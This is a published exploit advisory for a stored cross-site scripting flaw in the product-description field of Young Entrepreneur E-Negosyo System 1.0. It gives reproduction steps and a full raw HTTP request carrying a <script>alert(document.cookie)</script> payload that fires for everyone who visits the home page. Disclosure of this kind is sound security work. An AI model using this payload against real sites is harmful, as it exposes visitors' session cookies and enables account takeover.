Young Entrepreneur E-Negosyo System 1.0 Cross Site Scripting

`# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)  
# Date: 2021-10-03  
# Exploit Author: Jordan Glover  
# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code  
# Version: v1.0  
# Tested on: Windows 10 + XAMPP v3.3.0  
  
Young Entrepreneur E-Negosyo System 1.0 suffers from a Cross Site Scripting (XSS) vulnerability.  
  
Step 1 - Create a new product to sell - http://localhost/bsenordering/admin/products/index.php?view=add  
Step 2 - Fill out all required fields to create a new product. Input a payload in the product description field - <script>alert(document.cookie)</script>  
Step 3 - Save the product.  
  
The stored XSS triggers for all users that navigate to the home page.  
  
POC  
  
POST /bsenordering/admin/products/controller.php?action=add HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------375756297829058981022228786743  
Content-Length: 1203  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/bsenordering/admin/products/index.php?view=add  
Cookie: PHPSESSID=794albocs4b1st3m9hsileorpg  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="OWNERNAME"  
  
Test  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="OWNERPHONE"  
  
0000000000  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="PRODESC"  
  
<script>alert(document.cookie)</script>  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="CATEGORY"  
  
3  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="ORIGINALPRICE"  
  
100  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="PROPRICE"  
  
100  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="PROQTY"  
  
100  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="image"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------375756297829058981022228786743  
Content-Disposition: form-data; name="save"  
  
  
-----------------------------375756297829058981022228786743--  
`